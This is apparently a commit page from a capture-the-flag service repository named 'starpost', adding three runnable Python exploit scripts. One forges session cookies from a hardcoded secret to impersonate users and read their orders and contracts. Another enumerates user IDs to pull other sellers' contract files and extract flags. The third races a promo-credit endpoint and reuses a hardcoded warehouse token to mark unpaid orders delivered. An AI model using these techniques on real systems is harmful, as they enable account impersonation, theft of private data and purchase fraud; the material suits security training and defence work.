starpost: rotate secrets and close data leaks
This commit is contained in:
1 parent
4f70df55dd
commit
22c1906a67
11 files changed
+725
-61
No files matched your search
Executable
+153
@@ -0,0 +1,153 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import base64
|
||||
import concurrent.futures
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import secrets
|
||||
import sys
|
||||
import time
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import quote, urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
RECENT_USER_WINDOW = 32
|
||||
MAX_WORKERS = 8
|
||||
SESSION_SECRET = "starpost-development-session-key-change-before-production"
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_base_url(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def b64(data: bytes) -> bytes:
|
||||
return base64.urlsafe_b64encode(data).rstrip(b"=")
|
||||
|
||||
|
||||
def forge_session(user_id: int, role: str) -> str:
|
||||
payload = json.dumps(
|
||||
{"user_id": user_id, "username": "synthetic", "role": role},
|
||||
separators=(",", ":"),
|
||||
).encode()
|
||||
timestamp = int(time.time())
|
||||
timestamp_bytes = timestamp.to_bytes(max(1, (timestamp.bit_length() + 7) // 8), "big")
|
||||
value = b64(payload) + b"." + b64(timestamp_bytes)
|
||||
derived = hmac.new(SESSION_SECRET.encode(), b"cookie-session", hashlib.sha1).digest()
|
||||
signature = hmac.new(derived, value, hashlib.sha1).digest()
|
||||
return (value + b"." + b64(signature)).decode()
|
||||
|
||||
|
||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-session/1.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(MAX_RESPONSE)
|
||||
|
||||
|
||||
def register_probe(base: str) -> int:
|
||||
marker = secrets.token_hex(8)
|
||||
status, raw = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"probe-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
return int(json.loads(raw)["id"])
|
||||
|
||||
|
||||
def collect_identity(base: str, user_id: int) -> list[bytes]:
|
||||
probe_cookie = forge_session(user_id, "seller")
|
||||
status, raw = request(base, "/api/me", cookie=probe_cookie)
|
||||
if status != 200:
|
||||
return []
|
||||
try:
|
||||
identity = json.loads(raw)
|
||||
except (TypeError, ValueError):
|
||||
return []
|
||||
if not isinstance(identity, dict) or identity.get("role") not in {"buyer", "seller"}:
|
||||
return []
|
||||
role = identity["role"]
|
||||
cookie = forge_session(user_id, role)
|
||||
paths = ["/api/orders"] if role == "buyer" else [
|
||||
"/api/seller/products",
|
||||
"/api/seller/reviews?limit=100",
|
||||
]
|
||||
contract_file = identity.get("contract_file")
|
||||
if role == "seller" and isinstance(contract_file, str) and contract_file:
|
||||
paths.append("/api/contract?file=" + quote(contract_file, safe=""))
|
||||
output = []
|
||||
for path in paths:
|
||||
status, data = request(base, path, cookie=cookie)
|
||||
if status == 200 and data:
|
||||
output.append(data)
|
||||
return output
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
base = build_base_url(target)
|
||||
newest = register_probe(base)
|
||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
||||
chunks: list[bytes] = []
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
for result in pool.map(lambda uid: collect_identity(base, uid), user_ids):
|
||||
chunks.extend(result)
|
||||
print(f"checked {RECENT_USER_WINDOW} recent identities", file=sys.stderr)
|
||||
return b"\n".join(chunks).decode("utf-8", errors="replace")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
output = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Executable
+176
@@ -0,0 +1,176 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import concurrent.futures
|
||||
import json
|
||||
import re
|
||||
import secrets
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
CONNECT_TIMEOUT = 0.35
|
||||
READ_TIMEOUT = 0.65
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
RECENT_USER_WINDOW = 32
|
||||
MAX_WORKERS = 8
|
||||
MAX_ATTEMPTS = 2
|
||||
RUN_TIMEOUT = 8.5
|
||||
FLAG_PATTERN = re.compile(rb"[A-Z0-9]{31}=")
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_target(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||
if not 1 <= port <= 65535:
|
||||
raise ValueError("invalid target port")
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(
|
||||
target: str,
|
||||
method: str,
|
||||
path: str,
|
||||
deadline: float,
|
||||
payload: dict | None = None,
|
||||
cookie: str | None = None,
|
||||
attempts: int = MAX_ATTEMPTS,
|
||||
) -> tuple[int, list[tuple[str, str]], bytes]:
|
||||
body = json.dumps(payload, separators=(",", ":")).encode() if payload is not None else None
|
||||
headers = {"Accept": "application/json", "User-Agent": "neo-starpost-contract/1.0"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
req = Request(target + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
last_error: OSError | URLError | None = None
|
||||
for _ in range(attempts):
|
||||
if time.monotonic() >= deadline:
|
||||
break
|
||||
try:
|
||||
with opener.open(req, timeout=CONNECT_TIMEOUT) as response:
|
||||
try:
|
||||
response.fp.raw._sock.settimeout(READ_TIMEOUT)
|
||||
except AttributeError:
|
||||
pass
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, list(response.headers.items()), data
|
||||
except HTTPError as exc:
|
||||
data = exc.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return exc.code, list(exc.headers.items()), data
|
||||
except (OSError, TimeoutError, socket.timeout, URLError) as exc:
|
||||
last_error = exc
|
||||
if last_error is not None:
|
||||
raise last_error
|
||||
raise TimeoutError("run deadline exceeded")
|
||||
|
||||
|
||||
def register(target: str, deadline: float) -> tuple[int, str]:
|
||||
marker = secrets.token_hex(8)
|
||||
status, headers, body = request(
|
||||
target,
|
||||
"POST",
|
||||
"/api/register",
|
||||
deadline,
|
||||
payload={
|
||||
"username": f"neo-{marker}",
|
||||
"password": secrets.token_urlsafe(18),
|
||||
"role": "seller",
|
||||
"company_name": f"neo-{marker}",
|
||||
"tax_id": marker,
|
||||
"signature": "synthetic-probe",
|
||||
},
|
||||
attempts=1,
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
data = json.loads(body)
|
||||
cookies = SimpleCookie()
|
||||
for name, value in headers:
|
||||
if name.lower() == "set-cookie":
|
||||
cookies.load(value)
|
||||
if "session" not in cookies:
|
||||
raise ValueError("registration did not return a session")
|
||||
return int(data["id"]), cookies["session"].value
|
||||
|
||||
|
||||
def collect_contract(target: str, user_id: int, cookie: str, deadline: float) -> tuple[set[bytes], bool]:
|
||||
try:
|
||||
status, _, body = request(
|
||||
target,
|
||||
"GET",
|
||||
f"/api/contract?file=contract-{user_id}",
|
||||
deadline,
|
||||
cookie=cookie,
|
||||
)
|
||||
except (OSError, TimeoutError, URLError, ValueError):
|
||||
return set(), True
|
||||
return (set(FLAG_PATTERN.findall(body)) if status == 200 else set()), False
|
||||
|
||||
|
||||
def run_exploit(raw_target: str) -> tuple[list[str], int, int]:
|
||||
target = build_target(raw_target)
|
||||
deadline = time.monotonic() + RUN_TIMEOUT
|
||||
newest, cookie = register(target, deadline)
|
||||
user_ids = range(max(1, newest - RECENT_USER_WINDOW), newest)
|
||||
flags: set[bytes] = set()
|
||||
errors = 0
|
||||
checked = 0
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
futures = [pool.submit(collect_contract, target, user_id, cookie, deadline) for user_id in user_ids]
|
||||
for future in concurrent.futures.as_completed(futures):
|
||||
found, failed = future.result()
|
||||
flags.update(found)
|
||||
errors += int(failed)
|
||||
checked += 1
|
||||
return sorted(flag.decode("ascii") for flag in flags), checked, errors
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
flags, checked, errors = run_exploit(sys.argv[1])
|
||||
except (OSError, TimeoutError, URLError, ValueError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(f"checked={checked} request_errors={errors} flags={len(flags)}", file=sys.stderr)
|
||||
if flags:
|
||||
print("\n".join(flags), flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Executable
+182
@@ -0,0 +1,182 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import concurrent.futures
|
||||
import json
|
||||
import math
|
||||
import secrets
|
||||
import sys
|
||||
from http.cookies import SimpleCookie
|
||||
from urllib.error import HTTPError, URLError
|
||||
from urllib.parse import urlsplit, urlunsplit
|
||||
from urllib.request import HTTPRedirectHandler, Request, build_opener
|
||||
|
||||
TARGET_SCHEME = "http"
|
||||
SERVICE_PORT = 8090
|
||||
REQUEST_TIMEOUT = 2.0
|
||||
MAX_RESPONSE = 128 * 1024
|
||||
MAX_PRODUCTS = 8
|
||||
MAX_CREDITS = 100
|
||||
MAX_WORKERS = 8
|
||||
CALLBACK_TOKEN = "starpost-warehouse-callback-token"
|
||||
|
||||
|
||||
class NoRedirects(HTTPRedirectHandler):
|
||||
def redirect_request(self, req, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
|
||||
|
||||
def build_base_url(target: str) -> str:
|
||||
raw = target.strip()
|
||||
if not raw:
|
||||
raise ValueError("empty target")
|
||||
if "://" not in raw:
|
||||
authority = f"[{raw}]" if raw.count(":") > 1 and not raw.startswith("[") else raw
|
||||
raw = f"{TARGET_SCHEME}://{authority}"
|
||||
parsed = urlsplit(raw)
|
||||
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||
raise ValueError("expected an HTTP target")
|
||||
if parsed.username or parsed.password or parsed.path not in {"", "/"}:
|
||||
raise ValueError("target must not include credentials or a path")
|
||||
if parsed.query or parsed.fragment:
|
||||
raise ValueError("target must not include query or fragment")
|
||||
port = parsed.port or (443 if parsed.scheme == "https" else SERVICE_PORT)
|
||||
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", ""))
|
||||
|
||||
|
||||
def request(base: str, path: str, method: str = "GET", payload=None, cookie: str | None = None, warehouse=False):
|
||||
body = json.dumps(payload).encode() if payload is not None else None
|
||||
headers = {"User-Agent": "starpost-warehouse/2.0", "Accept": "application/json"}
|
||||
if body is not None:
|
||||
headers["Content-Type"] = "application/json"
|
||||
if cookie:
|
||||
headers["Cookie"] = f"session={cookie}"
|
||||
if warehouse:
|
||||
headers["X-Warehouse-Token"] = CALLBACK_TOKEN
|
||||
req = Request(base + path, data=body, headers=headers, method=method)
|
||||
opener = build_opener(NoRedirects())
|
||||
try:
|
||||
with opener.open(req, timeout=REQUEST_TIMEOUT) as response:
|
||||
data = response.read(MAX_RESPONSE + 1)
|
||||
if len(data) > MAX_RESPONSE:
|
||||
raise ValueError("response too large")
|
||||
return response.status, data, response.headers
|
||||
except HTTPError as exc:
|
||||
return exc.code, exc.read(MAX_RESPONSE), exc.headers
|
||||
|
||||
|
||||
def register_buyer(base: str) -> str:
|
||||
marker = secrets.token_hex(8)
|
||||
status, _, headers = request(
|
||||
base,
|
||||
"/api/register",
|
||||
method="POST",
|
||||
payload={"username": f"cargo-{marker}", "password": secrets.token_urlsafe(18), "role": "buyer"},
|
||||
)
|
||||
if status != 201:
|
||||
raise ValueError(f"registration returned HTTP {status}")
|
||||
jar = SimpleCookie()
|
||||
jar.load(headers.get("Set-Cookie", ""))
|
||||
if "session" not in jar:
|
||||
raise ValueError("registration did not issue a session cookie")
|
||||
return jar["session"].value
|
||||
|
||||
|
||||
def credit(base: str, cookie: str, code: str) -> bool:
|
||||
status, _, _ = request(base, "/api/promo/credit", method="POST", payload={"code": code}, cookie=cookie)
|
||||
return status == 200
|
||||
|
||||
|
||||
def buy(base: str, cookie: str, product_id: int):
|
||||
status, raw, _ = request(base, f"/api/products/{product_id}/buy", method="POST", payload={}, cookie=cookie)
|
||||
if status != 201:
|
||||
return None
|
||||
data = json.loads(raw)
|
||||
return int(data["id"])
|
||||
|
||||
|
||||
def deliver(base: str, order_id: int) -> bool:
|
||||
status, _, _ = request(
|
||||
base,
|
||||
"/api/warehouse/callback",
|
||||
method="POST",
|
||||
payload={"order_id": order_id, "job_id": f"ATLAS-{secrets.token_hex(8).upper()}", "stage": "delivered"},
|
||||
warehouse=True,
|
||||
)
|
||||
return status == 200
|
||||
|
||||
|
||||
def run_exploit(target: str) -> str:
|
||||
base = build_base_url(target)
|
||||
cookie = register_buyer(base)
|
||||
status, raw, _ = request(base, "/api/account", cookie=cookie)
|
||||
if status != 200:
|
||||
raise ValueError(f"account endpoint returned HTTP {status}")
|
||||
account = json.loads(raw)
|
||||
promo = account.get("promo") if isinstance(account, dict) else None
|
||||
if not isinstance(promo, dict) or not isinstance(promo.get("code"), str):
|
||||
raise ValueError("promo code missing")
|
||||
|
||||
status, raw, _ = request(base, "/api/products")
|
||||
if status != 200:
|
||||
raise ValueError(f"products endpoint returned HTTP {status}")
|
||||
products = json.loads(raw)
|
||||
selected = []
|
||||
total = 0
|
||||
budget = 100 + MAX_CREDITS * 100
|
||||
for product in products if isinstance(products, list) else []:
|
||||
try:
|
||||
product_id = int(product["id"])
|
||||
price = int(product["price"])
|
||||
except (KeyError, TypeError, ValueError):
|
||||
continue
|
||||
if total + price > budget:
|
||||
continue
|
||||
selected.append(product_id)
|
||||
total += price
|
||||
if len(selected) >= MAX_PRODUCTS:
|
||||
break
|
||||
if not selected:
|
||||
return ""
|
||||
|
||||
required_credits = max(0, math.ceil((total - 100) / 100))
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
credited = sum(pool.map(lambda _: credit(base, cookie, promo["code"]), range(required_credits)))
|
||||
if credited != required_credits:
|
||||
raise ValueError("promo crediting was incomplete")
|
||||
|
||||
order_ids = []
|
||||
for product_id in selected:
|
||||
order_id = buy(base, cookie, product_id)
|
||||
if order_id is not None:
|
||||
order_ids.append(order_id)
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as pool:
|
||||
delivered = sum(pool.map(lambda order_id: deliver(base, order_id), order_ids))
|
||||
|
||||
status, raw, _ = request(base, "/api/orders", cookie=cookie)
|
||||
if status != 200:
|
||||
raise ValueError(f"orders endpoint returned HTTP {status}")
|
||||
print(
|
||||
f"credited {credited} times, bought {len(order_ids)} products, delivered {delivered} orders",
|
||||
file=sys.stderr,
|
||||
)
|
||||
return raw.decode("utf-8", errors="replace")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
if len(sys.argv) != 2:
|
||||
print(f"Usage: {sys.argv[0]} HOST", file=sys.stderr)
|
||||
return 2
|
||||
try:
|
||||
output = run_exploit(sys.argv[1])
|
||||
except (HTTPError, URLError, TimeoutError, ValueError, OSError, json.JSONDecodeError) as exc:
|
||||
print(f"request failed: {exc}", file=sys.stderr)
|
||||
return 1
|
||||
print(output, flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
Reference in new issue
Block a user